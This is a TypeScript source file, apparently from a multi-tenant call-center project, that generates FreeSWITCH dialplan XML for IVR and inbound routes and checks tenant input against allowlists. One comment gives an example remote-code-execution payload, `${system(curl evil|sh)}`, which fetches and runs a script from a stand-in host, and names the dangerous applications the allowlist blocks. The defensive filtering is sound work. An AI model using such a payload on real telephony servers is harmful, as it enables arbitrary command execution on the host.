Files
B2BCall-dialer/packages/telephony/src/dialplan-xml.ts
Matheus 7763afacc0 feat(dialplan): IVR — play_and_get_digits + branching por dígito, testado com DTMF real
Continuação de "montar o IVR e as rotas de entrada": com a fundação de
roteamento por DID já funcionando, faltava o menu em si.

`play_and_get_digits` adicionado ao allowlist de applications (só coleta
dígitos numa variable, nunca executa nada — mesmo risco zero dos outros
já permitidos). `ALLOWED_CONDITION_FIELDS` ganhou um segundo modo:
`${variavel}` simples além dos 6 campos fixos, com a mesma garantia
anti-RCE de `data` (o regex exige identificador puro, sem parênteses,
então nunca vira `${funcname(...)}`).

Achado real construindo o primeiro menu de teste: FreeSWITCH resolve
TODAS as condições de um contexto antes de executar qualquer ação — uma
variable setada por `play_and_get_digits` nunca afeta o casamento de
OUTRA extension na mesma passada. Descoberto porque o primeiro desenho
(2 extensions separadas, uma coletando o dígito, outra checando
`${ivr_choice}`) nunca bateu num teste real com DTMF — o regex era
avaliado com a variable ainda vazia. A forma que funciona: um `transfer`
explícito, na MESMA extension, usando o dígito coletado como novo
destination_number — isso dispara uma consulta de dialplan nova (as
variables já setadas persistem), e as extensions seguintes casam por
destination_number normal.

Testado ponta a ponta com DTMF de verdade: como linphonec não tem um
comando de enviar DTMF interativo, usei `fs_cli uuid_recv_dtmf` (API do
FreeSWITCH que simula o dígito chegando como input do chamador, mesmo
caminho que RFC2833 usaria). Softphone externo ligou pro DID, o IVR
atendeu, tocou o prompt, esperou o dígito: "1" bridged com um ramal real
(atendeu, áudio PCMU bidirecional confirmado); "2" foi pra uma resposta
alternativa (tom diferente) — confirma que a ramificação distingue de
verdade, não só cai sempre na primeira opção.

Detalhes completos em docs/INBOUND_ROUTES.md. Falta só a UI dedicada de
autoria de menu (hoje construído à mão no editor genérico de dialplan) —
backend já suporta tudo que ela precisaria gerar.

Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01BFaBaBSQGhyXGEgtTYZGV8
2026-08-30 17:00:16 -03:00

211 lines
8.0 KiB
TypeScript

function xmlEscape(value: string): string {
return value
.replace(/&/g, "&amp;")
.replace(/</g, "&lt;")
.replace(/>/g, "&gt;")
.replace(/"/g, "&quot;")
.replace(/'/g, "&apos;");
}
/**
* Applications de dialplan permitidas (agente.md secao 180: nunca deixar
* input de tenant virar comando arbitrário no FreeSWITCH — "system",
* "exec", "socket" etc. ficam de fora de propósito, mesmo que existam
* módulos capazes de rodá-las).
*/
export const ALLOWED_DIALPLAN_APPLICATIONS = [
"answer",
"pre_answer",
"bridge",
"hangup",
"park",
"playback",
"ring_ready",
"respond",
"set",
"export",
"transfer",
"sleep",
"record_session",
// Group pickup (agente.md secao 178, PHASE 52) — só recebe o nome do
// grupo como texto (ou `${user_data(...)}`, já auditado acima), nunca
// um comando; mesmo padrão de risco zero dos outros já permitidos.
"pickup",
// IVR (PHASE 56) — coleta N dígitos numa variable (`min max tries
// timeout terminators file invalid_file var_name regexp
// digit_timeout`), nunca executa nada; mesmo padrão de risco zero.
"play_and_get_digits",
] as const;
export type AllowedDialplanApplication = (typeof ALLOWED_DIALPLAN_APPLICATIONS)[number];
/**
* Achado real de segurança (secao 180): o allowlist de `application` acima
* NÃO bastava. FreeSWITCH expande `${nome(args)}` (chamada de API) dentro
* de qualquer atributo `data` em tempo de chamada — inclusive de uma
* application "segura" já permitida como `set`/`export`/`playback`. Com
* `mod_commands` carregado (está, ver infrastructure/freeswitch), a API
* `system`/`bg_system` roda comando de shell arbitrário no host do
* FreeSWITCH. Sem este segundo allowlist, `{"application":"set","data":
* "x=${system(curl evil|sh)}"}` era RCE completo, alcançável por qualquer
* Tenant Admin com `freeswitch.configure` (secao 144). `${variavel}` SEM
* parênteses (ex.: `${destination_number}`) nunca é bloqueado — é só
* interpolação de valor, não chamada de API.
*/
export const ALLOWED_INLINE_API_FUNCTIONS = [
"user_data", // lookup de variável do directory de outro usuário (pickup group)
"escape",
"url_encode",
"url_decode",
"regex",
"strftime",
] as const;
const INLINE_FUNCTION_CALL_PATTERN = /\$\{\s*([a-zA-Z_][a-zA-Z0-9_]*)\s*\(/g;
/** Devolve os nomes de função `${nome(...)}` usados em `text` que NÃO
* estão no allowlist acima — vazio = texto seguro. Usado em `data` de
* action/anti-action (nunca em `conditionExpr`, que é regex estático,
* nunca expandido pelo FreeSWITCH). */
export function findDisallowedInlineFunctionCalls(text: string): string[] {
const found = new Set<string>();
for (const match of text.matchAll(INLINE_FUNCTION_CALL_PATTERN)) {
const name = match[1];
if (!(ALLOWED_INLINE_API_FUNCTIONS as readonly string[]).includes(name)) {
found.add(name);
}
}
return Array.from(found);
}
export const ALLOWED_CONDITION_FIELDS = [
"destination_number",
"caller_id_number",
"caller_id_name",
"context",
"network_addr",
"source",
] as const;
export type AllowedConditionField = (typeof ALLOWED_CONDITION_FIELDS)[number];
const VARIABLE_CONDITION_FIELD_PATTERN = /^\$\{[a-zA-Z_][a-zA-Z0-9_]*\}$/;
/**
* PHASE 56 (IVR): além dos campos fixos acima, aceita um `${variavel}`
* simples (ex.: `${ivr_choice}`, o dígito que `play_and_get_digits`
* guardou) — é assim que o dialplan ramifica por dígito coletado. O
* regex exige identificador puro, sem parênteses — nunca bate com
* `${funcname(...)}` (chamada de API), então o mesmo risco de RCE já
* fechado pra `data` (secao 180) não se aplica aqui: não tem função pra
* chamar, só interpolação de valor, igual `${destination_number}` já é.
*/
export function isAllowedConditionField(field: string): boolean {
return (ALLOWED_CONDITION_FIELDS as readonly string[]).includes(field) || VARIABLE_CONDITION_FIELD_PATTERN.test(field);
}
export interface DialplanAction {
application: AllowedDialplanApplication;
data?: string;
}
export interface DialplanExtensionInput {
name: string;
// string, não AllowedConditionField: PHASE 56 (IVR) também aceita
// `${variavel}` — validado na entrada da API via isAllowedConditionField,
// não pelo tipo (ver comentário acima da função).
conditionField: string;
conditionExpr: string;
actions: DialplanAction[];
antiActions?: DialplanAction[];
continueOnFalse: boolean;
order: number;
}
function actionsXml(tag: "action" | "anti-action", actions: DialplanAction[] | undefined): string {
if (!actions || actions.length === 0) return "";
return actions
.map(
(a) =>
` <${tag} application="${xmlEscape(a.application)}"${
a.data !== undefined ? ` data="${xmlEscape(a.data)}"` : ""
}/>`,
)
.join("\n");
}
/**
* XML de dialplan (agente.md secao 43-44). Uma condição por extension —
* simplificação deliberada em relação ao FreeSWITCH puro (que permite
* múltiplas <condition> por extension); cobre o editor estruturado descrito
* na especificação sem a complexidade de encadeamento arbitrário.
*/
/**
* Contexto sintético "inbound" (PHASE 56, docs/INBOUND_ROUTES.md) — o
* profile "external" do FreeSWITCH aponta pra este contexto (renomeado do
* "public" vanilla no Dockerfile), que NÃO tem arquivo estático, então
* toda chamada de entrada por tronco passa por aqui via mod_xml_curl.
* Diferente do dialplan do tenant (`buildDialplanXml`, versionado,
* editável), este XML é gerado direto pela resolução de
* `InboundRoute.didNumber` — nunca guardado em `dialplan_versions`. Faz só
* duas coisas: injeta `b2bcall_tenant_id` (nenhuma chamada de entrada
* carrega isso até aqui) e transfere pro destino real do tenant — o
* `transfer` dispara uma nova resolução de dialplan (agora já com a
* variable presente), reaproveitando 100% do dialplan normal do tenant
* (ex.: a regra "Discagem interna" já testada pro pickup de grupo).
*
* `domain_name` TAMBÉM precisa ser setado explicitamente — achado real
* testando com uma chamada de verdade: sem isso, o `bridge
* data="user/${"${destination_number}"}@${"${domain_name}"}"` da
* "Discagem interna" resolve `${"${domain_name}"}` pro domínio GLOBAL
* default (`$${domain}` do vars.xml, ex.: "b2bcall.local"), nunca pro
* domínio de verdade do tenant — a leg de entrada não é um ramal
* registrado, então nada preenche essa variable sozinho.
*/
export function buildInboundRouteXml(params: {
tenantId: string;
domain: string;
destinationNumber: string;
destinationContext: string;
}): string {
return `<?xml version="1.0" encoding="UTF-8"?>
<document type="freeswitch/xml">
<section name="dialplan">
<context name="inbound">
<extension name="inbound-route">
<condition>
<action application="set" data="b2bcall_tenant_id=${xmlEscape(params.tenantId)}"/>
<action application="set" data="domain_name=${xmlEscape(params.domain)}"/>
<action application="transfer" data="${xmlEscape(params.destinationNumber)} XML ${xmlEscape(params.destinationContext)}"/>
</condition>
</extension>
</context>
</section>
</document>`;
}
export function buildDialplanXml(context: string, extensions: DialplanExtensionInput[]): string {
const sorted = [...extensions].sort((a, b) => a.order - b.order);
const extensionsXml = sorted
.map((ext) => {
const actionsBlock = actionsXml("action", ext.actions);
const antiActionsBlock = actionsXml("anti-action", ext.antiActions);
return ` <extension name="${xmlEscape(ext.name)}" continue="${ext.continueOnFalse ? "true" : "false"}">
<condition field="${xmlEscape(ext.conditionField)}" expression="${xmlEscape(ext.conditionExpr)}">
${actionsBlock}${antiActionsBlock ? `\n${antiActionsBlock}` : ""}
</condition>
</extension>`;
})
.join("\n");
return `<?xml version="1.0" encoding="UTF-8"?>
<document type="freeswitch/xml">
<section name="dialplan">
<context name="${xmlEscape(context)}">
${extensionsXml}
</context>
</section>
</document>`;
}